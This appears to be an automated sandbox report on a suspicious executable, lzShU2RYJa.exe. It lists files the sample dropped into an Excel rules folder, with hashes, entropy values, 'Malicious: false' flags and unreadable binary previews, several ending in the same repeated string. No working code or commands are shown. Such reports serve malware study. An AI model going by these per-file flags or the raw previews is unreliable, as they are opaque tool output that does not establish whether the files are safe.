.xF...~....&;.....rr3a...'..jN.N.<j.....p....!ZF.U.^..%.g.............:.uX..ha...!."R.B.....Tm..V..f..aa.~..I.....p9...e...........!.fe.k.....KI[..iF...sPO...,..E.&.(7be.m.&.?......1.t.3V...\9..2.b}.q'.(.E.BrA...=..H7J...;=.."...gb..l....."..A../..@W..@G.Q.rWK@#h..Wi.hi.[....\|.h..Q...3.@...:.$......./WJj.....Y.?...9.BP.uK.m.[.N.r.I.\.1..<.....{%R....=s17vk..@...r....\Ea....5.).....{....S.."]8.B.......\........p%..#e+....g.......E.@aa...<s..=.....A..-.*E<..aD.....Y,...:.7.Zp...%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.726489483997861
Encrypted:	false
SSDEEP:	6144:Tte0WA5Gt28zjWEawD/91nK50yygzhef9:I0J5+25Ea4/LKWgAV
MD5:	31A0DFA8D072AC46356353464FEAD11E
SHA1:	81BF5740D8ED7F78F132F92EF039A3DAB84590EA
SHA-256:	5B3E4BBE003D91BCEDF341D83180998757A059E44C8E7A834A2AA05342F577D3
SHA-512:	010A7CD288B14AE8B649405C009ADF3786793195FF6C18A4AF4B3D5D2189DFD80932797344427A83C6D63602B337FA0856EC2C6118B6A1CEDDD0BED74436514C
Malicious:	false
Preview:	<?xml,..Uh:.O...kq..v#....k'...S..5..&.......}$Z..(2Q(..?..`.@..=.J65....?.8...682K.Y..V...z.^.....S.../>i\..."...B...qx.s...Ow&.n._L.v.t.......H....'............<.i..Z...2..m.y..}d....l..s...b....rH.OyH......'kI.H.".u...#.........U.g..A...(.mY.Y...SbA^.$.w..De..~...+.h..b..u.F)...L.....\.9..d&.<.I}.)..#.V.W.B..AE.co1...'=5a.B`.g..f..T......>..,4..l.]...ZL...p....2.W..l...Pi....q.1l..c....5...xF5p.#AF.%<g..-..Oc<.#...f....m.[....:2..^.-".8o.7H...UW~...............'....x..ETN..........?..[7.7.......}Z.G.r....rsP9....z.U.Sa.V..8U.8E...4.K.....P>s.#...X..^=..w.Xyv..)iq{C..K...._..vTh.!.]?VdD..CB9.KJ..$..&>.."..DB....3.4...J3.q..5..]oE....(gouw.......dG..u]..CD.....c.$c..{.*[T...u..A..."#.e.>NE....W.....1`.aP..1...hy:`.YZ.T+..c....Q..H......h...Y.....LE+.?...AJ.. .Q.U.kA@.a..Sj.iST..M.....g.\|3..'...lD@Nx#-ra7..A....#.H...$.9n.`..\5.-.Q...8..E.9...k.aE3.3.$.?. A....:+#.{=.....g..\|..2...K=.^.....A...$.3./..B.....8."..0..[..;.g.....s&JLR..iR.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.766229682355307
Encrypted:	false
SSDEEP:	12:TydtjqbOE7RHCOMkw5tyvvdWMjKcSBXPP/Ik553okC6fFAusn9QMOF4p0y7egceZ:uLjoRiOMqlWMtSlHgi3U6fYXpN6cVbD
MD5:	D9B39A660811AFDFC09D71B0ABF07E05
SHA1:	C2BE75E761B075E091930A4258C6C12DBB2874E0
SHA-256:	1D9D56FFF7F515589F6A5ACF0E93E87C485EDCC11BD85079D534CC559750283F
SHA-512:	2D248DDC5D45FE71BC3C2FE6F449A9C823147447192D7BEFDC5481880B432F3D6E57F2E4632F389E7DFD31E1B6181F32CB3099BDEF5D33FB766E6204B89FE9F0
Malicious:	false
Preview:	<?xml.X..%../(...+ .}...g...;j..N.r...bS_.P......q....;.+w....zf.E}\|.5.S=.R.)..z`]e0G.D0T.W.....z....8g.........(l...$).C....0.guQ+..e\..tLt....K....].v..=uTD$............Z..8K..f=\..s......;cj..k-......r'..........ja....X..\|...z....2.:.ib@.'...i..V..\.kPs~....i.:;J.[..R.m..pP.N.A...a'....!.g....,.k.1..ep.:.>...p_qD.0`...._....2......w?.U{.]....^.@..<Z..d.c/Ps......j..@..V.0=......r.{.yL.&..G.&.@.1S.....0..3.....`.0#.....0....=e.."p...J.._.._.v...I\.......b..4.1a.=V.y.....4.....P.a..J....d...OGo..r.w.+.C...?...Y!.x....E.a6b....n..g.P. .......'......N...v...a.G..\|.L......+#..M.i.y..Y.U./[3*..d..}!P.t9.J.....g...`..8f..C.....PL....24=[l.>.......\...>....k.Idxs.k.....(.J..mx.n:&..... x5....\.UmE\|S.J...Ritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930065848913559
Encrypted:	false
SSDEEP:	48:4+EllPXeGdIhmWHpFKOPq6aEfNtIKeW7NMnVbI3dKx2a1IHSqaoBKPSJGTTtKmCU:n05ZWHm5Gf3IKlG9xxIyqxmtvCYsEZ9
MD5:	4C74050223F235CF984B018C374FE171
SHA1:	996B59F870CCC400DEC0F853BB8AA175C20D087C
SHA-256:	AE89CB2500C8B69CF110B923EDFADCFBA967E0366A29C1546683ECB4003EA4D8
SHA-512:	FE584370EA2F74678CB15EFB00691CC9DD8D4E181C1DC19CC449FD35BBD3B4D6E77B25676564FF26C6FE17F54168B37EE298638EB4F8E3B1F666947EE057A7E7
Malicious:	false
Preview:	<?xmly...y...a.......}.D.QW.+s*.Y.%C.!.B....N....G9.......%O.#kE...... 6... .._.....2V.SQh.r...4...5.{.{..X7s@V....^.[.hT'.4..k/O.t\|..B.v........sPK..9x.MqV...m...[Z..k.9C......&A.j....O.&..;w{.dj....!..M...."G.../<w.z....70f.s.Jm.M.m}.y...T.._57...........A...5.,m.eE......F.v.9:.T..\K.G.C..Z.....B..[..0.B..CE..yrS/..9.....5..K..R.Yp.ca......1.dCZ^..\|..k....%..H...J\KZ.<{....5..-.k.'....`."0..:p.-....)\|o.z.44.i.U.............03.gr}:...v@O..UD_./..BR...N.^..S3T3...Y_.mv-.........~i....Q..c...f/.`..t....tqr@.x.y.Sk2.2....e...].....B........b.. ...0:.d..`.}.%.K>.'.u.5.........`.......0....Z.BZG...\|U.s....e..X.2.:..'i....st.X8.A..U....({#....F.bwhQ..e...o...f\|..G.}fyB.l.....q............Z2."N8.3....`.G.'..n.....Zry,E.......X..H....=.......P1.=(......~.C ..4....8.u..y.F.~..p...l4r%>.l..Q.&.Fs.L7.0...$a.0g5.y.a.9"T.....i......B^..w.N.0....F...&a.=..5gW..AAN..K.C....FU0M......3/.$...q...c y.......L...H.@...[#.~.A.y..KU...R:.6^Z=>z..Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.788809150898968
Encrypted:	false
SSDEEP:	24:mdzLmWIqPwqxL1FgTN3E+N27CfZYkEYngihycVbD:WmWrLo5EKfZLEkgUFD
MD5:	16D557553E94F64356543DE97A655D3F
SHA1:	10B09AEE226AF21B3AFE44438AA60124F35BD679
SHA-256:	2D1C724FE57323B7C8590C1E6A766C1CDA62F2FCC152E528BB2F90AF21B58B4F
SHA-512:	607C70F58039B449BCD6EEFB79430EDB4AE51EBEED875CF1ABA0195532507CCA03868E132F19057B999AD8B0C2048FD55F38F87ED3BF67FBF2CCF2CF2450239F
Malicious:	false
Preview:	<?xml.P...5..-=...$..9...&u3..;i)..`.@....bw.L......0s..0.6q.Z:x...qq..N...e.+...Vx...[.;.V.9....Z..V.....M...r.HX....e.v4..Nf..6.......$.q..JC5....i..=.......g%.....,.NA.y._..k... ...m.G.5....=X.....uX\.Q.^z}.Q..+...[{.QF..{....>...k."...a.:..O}G'^.h..K..2b<."\7i.'u/?../%00.W.....Dg....M0<.....e&...^....'.......g.....t.W.:$.k..x~~.....t..7.8.......u....}.;+8..~...w.0[k....B....m..... ..X5..F..F5..H......n.........hIx..P/.[Y...E{.yy.F&t..v6QT.SH.[.F..7w! `..D.R....b........1..B..U.....>.$.y...lW5...B.D..WS......]7....k...7qjR..c.tU.YE O............+X. .7^M........vv..u..O4$7.`.%....\...j....N'.F.<..(.N.3.:~B....5.f.<.x.s...8.hNu...IU.^............W.E...z...9OY@.Fh.........*T.z..YIt..4.IT...k.=g.0........=g...P..^.\|..b..6...#.....Z..2........@..$B..m.n....x=y.Dv..Q..C..........-A.c..(!..4...wcc....X7Y.u.@......YT.,Xw?"...B......l+.o.-.Y.d.Ke9.{$.@.R-..Oj...U...q.d.n.8"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.8451362227874055
Encrypted:	false
SSDEEP:	24:psC7J/oUsjNE//TT2CN9h6RlMx/1eeneeySFOh+GiBLXKJa3SGorZB8eknVbD:S3UoET2CN9h6/bEys2R++o9nFD
MD5:	59367E90DC12F980DD9604ABA381C3E3
SHA1:	EF221F33FB27956096C415E3F96AAEB41B0EDC6D
SHA-256:	1E44BDF462A99897414AD93987DDD0D151CAFC98092F7F2195E2D08888845E55
SHA-512:	AE47FCEFA44666A10C95E5226E393CADE9C1304314F274FDE76FCC573232E5E6D9725FE77FDB1D0EE68EA1728EC7F84AD9E83FB4E92C9C4A9BB5925EDFD46E78
Malicious:	false
Preview:	<?xmlg...T...Yc9hA...l6E=.;Z.U...>9.(S.C...<]JNS.[. 9.?G..2..OL./.a.pi.e..].Wo...u_n.............U.y..N..2...d&qQ...b..zRS.....P ....eyYt...x........&.ir...=..p{.RY...:..Sq...i....y........F..O.R.r.......y.$........ .].4..!X.~.6..k......4.l..rm..um.(....aNz..u..F.\.I..!.M.ojoo8$'....t._P2..\.:v.....T.:y.\..g......^.;6^...xv...Y/..d.I.....;c...".6...[{.9..RXu.J...P_..od..4/.#1R...h.ZRd..oe.L.......#...i..m.Y..'-.k.6.8....d..c.........r.y+.F..6....o,.hh..A.k..........9m2hx..k[x18B.2..............A..=<`.YIu.......U/Yuq)]..xw.9.=.....}.%>j..xy.....r>2...1...V&$rIJ....[...[`3....H.-...PM...tZ!.1..0..nNL.2...?......x.........t...#.p...s.x/...M..>...X....m.fP....M.....nd..x.9BP/,...F..~.>.gw'...c<.+.?V.%...jK!.x...3W..71...Q..B...&.u....h.....\|+QP..B...a+..T;...2....k........L.....>k`.n.H .Ha..v.o..k0.......j.1..I..M..e...k.?I.....Z.N+....B.)..d..x.S2..&rZ]s.l0...Q0.".......'.(.o.../i......Or.I._.K ...Y.....<C7..>..->v.....!.Al.v....2...t{..C.l.C+....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.757318818501067
Encrypted:	false
SSDEEP:	24:IByflWmoXSfudexqxnc0/bnrlLdSpd0KWft1rYj8fr1WZamVbD:I6lTvrmlMpO3V1BxWJFD
MD5:	D22963A371E0C58D8D79C00CB56A582D
SHA1:	99B0E65EEF2503235C557829FB0C59701BF2F983
SHA-256:	6B3B44D2A62DE7726720AA0EEEE70B5CB9E649A50049A06F329E658AA9D2D1D3
SHA-512:	E517C92455666F36BD2B6BBDBFC19AF242FE308DE754709884A756ADD386FB2E66773BFF0EEA1D44E66CA29DC30FACDDE54B34832A4F8604F703CA7AC12FB9C4
Malicious:	false
Preview:	<?xml...u...@.0.,..f..j......k..D.........s.U.......I.)..QeK..`..Bm.k..;!Uc..DD.!...b.4\..(.s&...BMy.3..pZ.%v.2.~....~J(J...uBK..q.....8.....C.-Rp.7(...Y.1...Qw.@BAi.P.l..-......V.Ll.X.g..~....[....s...3.N..O....3..r...><..5m.>...0....,/........X...q.....(~...`.........9F 5.4..B..3F....?iLo.a.`r..D.U.i...b.-.R...U.......EP.d9J..P.F[3..I...T....T.o.....B^..M$..j...7.q.......e!......X1.:..E.X.q...2R..,.Pz....x&'.>.A..\.c..\..8.+.............../J..!...lQ....qN.W\..<{A...q..-.Q)j.....7.e.c.G...W.`...%\{..@.&.[GZ.j(.]O..].v.{...N....).y.L+..rb....4.q..e..Ik....1.Z......U..nv.......k.'..?....!6..93....%y.s."g.j.-.l..P.0D..s...=.;.W......2N.\|f..Y..s.C+.p..`\|..A.UA.j..RR#.e.PK.......O..fB?.....oX......UM.j.E.8...)m....r{....=h...L.=.......Rmq....\|......d.o..zW~V.M\|...1g+G...+.k.".tyJc.....O.....e<....P.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.797800031495328
Encrypted:	false
SSDEEP:	24:FtVFkHq15TSlihwEe0HArkRir3OKPQyy8ClMZlUcWvcVbD:X3kHqSLEFHAgo3OYQYjqvcFD
MD5:	DCA28423ABB7D69C8A6BA82E381DE95F
SHA1:	811705E9CD409FC9D384B9058DEF30A8E966EA9E
SHA-256:	B7D5BA442263285F985E830E0D6AFA5AF7A00E1107636DC608562F291CDAEAB1
SHA-512:	2E885069C2718413EF84475C8C47F3F0DE916CFF8E20CDEF0F850666AB46FDBB5B5ABE25E69F563903F36BC4D0FB1D39F6DF24110AD08D1F19058095C7A334E4
Malicious:	false
Preview:	<?xml.@D.~c>b..t..9..C........b~h>.5=...[...\|.....{.M....:.0".FE..B.}....B5C..R...ut@.#./>......{...3..D@,B.r.f.....`..39P.<T.[....}.....D'`...s.O..:..xN..............J.._..-..o.yI`..3cYU...T.2.M..d.......ze...R..7 $....q.).<-....<2;.UQ.......9W.D"=t....&....@...>.Ka..}...A8%.uc...p.^!]Mn.....+.u......Q..A....=.Y.....B,.......rt..D......,.[<.p.qj......b.\APhT<...<....D#....4+..t.S.A........n.n/....E.P.....B....)..t...v.9...^...+W....b.....}..J.......DX.....:.g/.=.M...9...BYk.)l.....M.".g.G..G.9.Hq.P2&.d.......~K."6.3mq{. ...iG...u...=.K.....v.G.@... ....\.....2...(.......5....}1.....}...>(.mh.i...G..7sN.ih..S..1....hY.....,D"qy7.UHo....2.r....$J[..L:hh..+4o.hR....w..OrA...^....r.\|.....B.6....{.l.x<f+...H.......RZ..]..x81.w27....P.GI\. ..r.....5.4..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.780011559770116
Encrypted:	false
SSDEEP:	24:Gt19OCEINHvs36EzeWsK1bmy8ULK0z6PkBKxQSV9BVbD:WLczRsKFmyt2mIQW9BFD
MD5:	02F218DA44176FD2A0485B2F4D6E60FE
SHA1:	EEF743E447879A070A8122D7A422AC3163212EF3
SHA-256:	F7023752BE4E0B233015A9458A88E644A0B8871C7A2AD56B06DD1C056015BB0B
SHA-512:	BF3185448BDD135BEE46A7982E5DFABE6B29E4B2F6E843F402411EA479C9A348DCA3FD87E233C9B3C611F2476058EE7054F43F6797E0E6DC781A9FF4A31442E4
Malicious:	false
Preview:	<?xml...6.o.{..BK...i.S..8.............l\.zzTL...og...d........h.s...C..R..b.._.0...0..8...:2..Z.2...FE....e6..$.mR].R..}..Q....B.\.:..yr..%.....F..7<...o{...@..[.../.h..i..........:G..D....F...K...B..N%.....T.I....\|.X..I.Q.;.6f;U>....f.....).x.=..T...O.9 ...$.......#.P...j..c.g.$....^Qb.}.%....^.._."..l..(.F.....6}...&.yw....Ca........F},.Wo...........Ye.@..6..C.l...4&..T.bS.M... H.q...cq...V!G....%..B..Sm.Z..... ..O.L..q.og.l.............~....".3...bL=.v..s..=..3.....N..W..c..Z...[.B....pN..s."&....].N..2...v.O....WT..s....l.4.3.&.....0..$Oi.O(.:......^...........].t..r.\|7.....k%yM.\|...?.......;. ..x...tK.{.&.`+..#...<t....y%....W#X<F..d,......F......N......7.T/].p.2X.3.....;c0....z........h...i.AG4:8.<G../.=..~....sL..1....Q...T.+....U3,N./0M....j~.{...`.....vv....,~..yHC..E.f....k.....oQ8.......1.!D.....P....../. .....:.q...`...3.f..V.F......`2..\|.?9u{3.u]o-l.P>E:.B.=.>....R.........h......a......itkm7MOsOlVQkbEQhWCVEWoMyGFhV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.757050474451796
Encrypted:	false
SSDEEP:	24:ToHAaycZJ0mUADg/BoYFFpPckb98SBIWbmYDLVbD:Tmly2UJ/KGpPckZ8MmYDLFD
MD5:	4289AA131222CF8675668E6902D2034C
SHA1:	E22F89D9FADF256BB85E6981F132A51878B410CC
SHA-256:	2489C145A1BF1E3634C2E6CED7D0C7472DF3B683A8E0F1816DEF5AA040629265
SHA-512:	B2A010A981E3809B692A5309352EEEF4A2B67D37CB7E7CD2DEC1F10BCC23357200FE7D94B31FBA0E2AE71F2255FF69B2D48662706AB3219968925A05AEEB2A05
Malicious:	false
Preview:	<?xml.LiP1X.S..V.../........;+/_...w)........D...:....c.}.?.[.M...i....y\...75!.LT...dx....g.C....G.v..e.j.D.....pf.}..,.........~....j..r~..Z....;...F~..h...#.Xia,f3.+........DT.62..t.9p.......of........T.H...+..o.....[... ...<L...a4...:hQE1.y,...../....wd..1x8..4,.68.,...;.]...3-8..~{.iD.2.>Yy.t5...G..-5....d.`h2.CI{/...........n1.....G~..N...Z....H ~...o...Y.!...i...0R.g.#.>.u5.....$..DMM.....m.t.T..E.e..s......)o...JR...x...K......<..._U^..Mi.H............ >...c3.Y..x......e!yIb...l..~Z.bo.`.#_...e+.1.W"..Z..%ml..C]."'.E../.t.t3..9./D..i.}.+PF.........q..q.....?G...) .....o...q.k>..........r..4Nw..!.W5....G....9....}..2.<....A!i7o....\|.....O\|...G......4.@..j,.....i.{.]N.S..Q.cj.5.e..Y..rzS........T......?x7.R....Q..^.&.x>vY.......-...y.. ..G....P%.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.979968362868145
Encrypted:	false
SSDEEP:	192:huV6L4SDRlBFibRXDTNft3sdjBIh3PyrbM18Vkd0vLp4mFm:hMcDDBURXDBV2CqrbM1UA6pE
MD5:	549583E07733A9B10CF86D730D0C399C
SHA1:	FB733903C3E0BA98E9FEF23E48924325A47C6743
SHA-256:	99095FCFB00B7A7C06ACAE93DB9AF7FFF15FC19D505501601813CCD38B2C5779
SHA-512:	53795D60A1405AB9623F8B72103DF21B0BBA7B6E1BC8B307B51AB6AB3939876282D50FF203C6925D26DA1FAFFF3DB79902B0DDCD9486634DD48311E29EA08122
Malicious:	false
Preview:	<?xmlo.w@...+.......L....R...Fa`...N...p............a/I..~...}.n$.....h......w...!R......... .C.eu.e.M2...]...8.%.!........d..P.D(..j.;..%i`xa....R.A......B/T..9.c.$..?$t..9.M.<.A..A....S.:.l6.[.....M.P..\|5.`X.....-...d.`).$+W.~..]M.5.......A.....2...}......(..u."....Q.kB..b.re....G.../...x...a)....i........=.......iU.c$......{.......m...B>.....(S..T....3..kbC5....H........2.....=.L}..2J...m.&.jP.....$r........=....V_.#K.....X8.E.....gg.........=.9...f.X..C....yd.,i....N.PK.....Vc99...'.I.0.F.....`lu._.,.....R..3.H.....`....$G.i.$..v..RhF{v...y.J.I..Q.;......p...;..I]./...<7........S...p.....\|..+#5........h.%.6..b..7#J6.T..e.......m...CP...g....e...Z&...>..!..'.v./EX.......Q!+...#....>....d.....y..W.s.......iF@.}....N.C.3#..I............)N..3..E..W.7e........"S..c&.Ap.._..."_c7.....;.K%...A...=.m...p?{dB.-#..0.b_ci.I+K......CP7...lSY!......P].=.xz.-.q.;V8&...P.....w...^f...y..i.#.bp8..........uF........O.....&,..-.-..%.....s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.827848715490189
Encrypted:	false
SSDEEP:	24:i5rVN+S2rn+XI6B85TjPb3eBMFV3vXcqgoOwzmEIgDzKm3VbD:i5H+S2rn+XB85TR5vxgsFD3Km3FD
MD5:	8E38BBC04F6C0C2E05C080498428B6E6
SHA1:	13A654A4280631AF87C2C8DA60B200111A684486
SHA-256:	AF88542CDBF3FA3B4EC5D70C3ABBA271B4B299DCE64F4EC0B643C806081C266C
SHA-512:	BCE2D14AFB6E931DF381BC205BEE6ECCE4ACC62185F68B251F8157580719623C3E90C0602394D3D95CF67DF7D83E816AC6D5143F2A5A11042635A4015C016BA4
Malicious:	false
Preview:	<?xml...q..%.c.#..g...;5...C...!;..]+Q....iu.\|....EX..f.Q...4.,...n.?X).i8.k+.R...Oq..[...)4..S.U....#....v_......9.4.,... .{...7......sK..ymd.<..;....1..Ly'i......j...{).le.....O@8...x9..9.@_...xs...5Ls...8..C....zT...^.....4...`.l.38..p}..2M4....0.l.q. 2.cZF[6....\(.3.#c.n7K..f...a-.>&.;].O6....s..\...a.......i.L..".O..S.?.....(..$T.?.:....A>[.da8..{qv..m..I.,.%....6F2d}..'.....Y.dD...../..Yi.d.vN....d......z'..j0..Q.Ete2+gV.@..e..E...\3.....'L.n.%.%Z.6...\...o.)h`.....x.3^$S..q.f/.....[...~.F......%W.\|..GO.]./GX...3!?.L....#.8XmH..;..)n..D;...nl.w...T...S..k.............MJ}A..S..8......-..b"r.b..Cp9O.-...Kuu.D...;.p].IS..E(P)..J/7.'..H..zdg)........6.6......0..#.t3.>~.o..\!H.:...j$.$.+.`&....;-.i.c.......kf..5ly.5W.2.....RK...X6(.^..Z..'O.o..C.[+;)4>...v...Vf.\|B..%t.]..l.6..d.Ra.j....I...p..&S.@....@g...J;t...)aIl....1........n.. .B..t.3.W....d...F.y..A..t.<.....=....o/>...k....p.?..m......X..c!.....'>.......l...+T]N..uf..7...E.M5.".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.808917743855703
Encrypted:	false
SSDEEP:	24:ojslATcEV8099OpFclHpEw42KEG+B32j4GVbD:L+os8TQpEx27GoGFD
MD5:	CFC5B99C3319D8B86FB714D5F484A406
SHA1:	C32B0EE0B48E0A5A0EF4CA59B3ADF846D87F130C
SHA-256:	14076ACF5898BB9BFA7FB08CC43CEFD4BFD1BF7B8E9A1206C221E1544DEDA4D0
SHA-512:	25A78CD5E6A3C18E7E9E87D334BB4E2F64B945C92F8B45313E8621FD51CD75BADF6637FE5605B4A8C72BB1A641024650479DD112039CD113DB89D5AD6C597B52
Malicious:	false
Preview:	<?xml........t].kOtI....=}......>..n.\{7......j....i}.K...M=...J}.^g.}..z...__/ .Of.b,.7.i..9G.....l.C..nd..O.....<=!V.......D.....a.~..Uw@...Bc{1...u_.A.<l..B....M.............{.a.}........:.(.>.V\.S.t..=....B.9.,.~.c....J.........%..vz.".....5{....l....r.#....qY!3..S....U._y..{2.a..E..q.f.N.P...g......&x.B.....%..c/h......\....&...R0\|..J<i-....-u....d...w..\|&...)..\|[n.....F#.......`F......O....@)Y. .0H.. .m..6..8..._!..Y..._.Wj.\.)!w.-...M..5.s..\O.1...D.Z........]...%.5q...+o....7.`...Z0..)..#."EE..}.Z!...,.k`hk.\4..@....?T..H.]...3...8.*...m3.e.......~..M..MV#..S..jdG..Y..a.<.'.2bW.?........o...'.S......t.j\|.0d.[...=r6..S...>...'.V;..O...c5....e.b..XJ..?.n2...'...P0.U..9.D..H...G.h.f......x.=6.{.."....6...iV..c.K$j......'EM...a....fB.-m#..lR6..t..2....^hA..Os.X.\|..T5.....0..k.tqr\GD......M .I.T@.-Z.oA....._...4........X.?...o....o.1.U.^..\c.W.k.l../1i.\}.D..1.ch"....Q...LUA.E..#..Aj.g.]d>R.~`.1c..W..X.rQD ..?.&4...Z..63..p#@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.804420142629957
Encrypted:	false
SSDEEP:	24:OZefez6EL+idezv2ZGH6Ar/zJLf8DuDbaZ5P47HsI5VbD:OwfeJEv2ZoJ78gAPmHsQFD
MD5:	520945898ADEC0C0EE13D478B9E6CB85
SHA1:	F241559D87C90B67E1A4023974FDF3A3474CE911
SHA-256:	21B7AADE6242FBA338617EFFFA534777D0F63B06862D0C1B76C8B6EDB6E8C407
SHA-512:	6327FC13F1648FBD61F7EEA5E62A88BD7E3A5140638E3A11A0B3F6C104E549038D64A5B7DA663C86C0DBB07B8F0F03F002643B0A33940C7A6B9C0EAE5AC0C576
Malicious:	false
Preview:	<?xml.<..T.z.>$....F.y.W....o.8..'.4.p N-.P...... ....;_F.U...K..A.....+=FF9..J..Q.;0;)$xLcQ...^dz..HD....',......0].`q.H..!i .?.6.l.(.V...2..&A.3.{~1....../:\|.a..=H...>].U.....Ph......73=n.. . B.{.57.BS.6z..It.K.wp..p.H{G\hm.......l....LI.f.6.p{f.m.Tw<..'....&].\.....>`.....%.......u.OZ..&........Y...f.91.~.........M.....}.+..,..6S"t...e...."w,.....X-..`O[e.T..80.....8.x.d..\d..\|...}.&.%..^.j....^Z.....y.G....)..xYL...s.........S.^.....^.%..?9.J.d<G@.u..hi.m.j,. .4%x1d..........92.........M^..;...E..J.....ac....))8..f.....M._....XH.~+l.R.ob.H.`..e.l$..KLd...,..:n;...u......jq._.z?.V:.....x~Qs..h..B.O..-i.$P...u2...J....o......_.....@...uH2...#".....:..7.......E.n...?..j.Q..r...E%O...7..+bU.k..a..o.XC..^......d.e.0..i+$.:5..M...S....I.2ZW5yA8.k.....A...Ua.*.-! !.....8..(..e.O..r^zk@pc......- .".r.1..p....m!~..65.W....~...Ro8.....`.$.\..<..............Q'.A..X..~L...Q.Vk.Q..G.r>..[#.....S.F...8..........,.i..D.h...4.c.[@_..c.x~itkm7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.932308752776867
Encrypted:	false
SSDEEP:	96:plV1puAngyA2suE+cLELSLZyxKQoTYFHB9:7fpuWA24bt31T0H3
MD5:	4FDE08CE494952564463D13923D97530
SHA1:	4ABE1C87120172C64F11309ABC240D9B9AC4720E
SHA-256:	9FC3A5053F17382C28E72015955A1C36464C567FDFBC990ABEA752615A14804A
SHA-512:	BCF95FB1CC8C1EAB7B766A9F057D4521D6D713BB968ED81684BF0C6D266823A155BE679031EA3D9D4EBC9786BB391C0B8CCCEAFABBD20A6ECD73ED6BA5F16BF9
Malicious:	false
Preview:	<?xml.l..5..K6.vV6.{n..>!0...*..........U...Y..Z}.[y.....2v. .ew..t.'e....e....j.VVeq.....~>\...B\.W......mF.......>.u.{.>...A(.2 2.Fqp.2..`L99c..M49....f.o.M.....B.\.V...D......2.....v.8a..LNw\|.a....-f.l....p..4.RF..#.P....O6.s.x.6...\|+.....F..%.0-.J..s!..ep[.>.m...FY.z.K..7.U.....~.z..s.x.@...'9..h.q...Tn.>...T.....OV.-.w...Q.j..._.2.......i#6..w......bZJ..c.t...Z=...x.(. "EQ..&...?Y.L.Ob.i3.r..K)\|o.D.U,../(..nU..?.1..-.(g.;;....B.auc..d..>ID....1...O85..5&..rHz@..tIaz.l..~].9..l]..N..-O.22...(...Yf:..t..8..S../. ......Q..=....m.U.f8.>v..q..+..g..B.P...LnL....6..y....Z...YIXU.'x.E..Q.G<.De..HJ.7f.X.SJ..M...8xxCA...@....k....nGz..4z.Y.x.@..7oe....\f..MDkA..q......u.....b.x"..S>.[......W..4e../.4I^d...0......}..x.4y:....77..B....+.3.<...4D._.7.....6.zZ]W.~%7..7......N&...........CfH.y]&....Yb.... ..M...........>.45:MT6..g%2,..(cWH....k,...U......f@/z~..O1....../S. .Q.....,6.....K.XC)a....`.....>.{\.B$.....k..#...2$.O.<Q.j....$.I..;...o..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
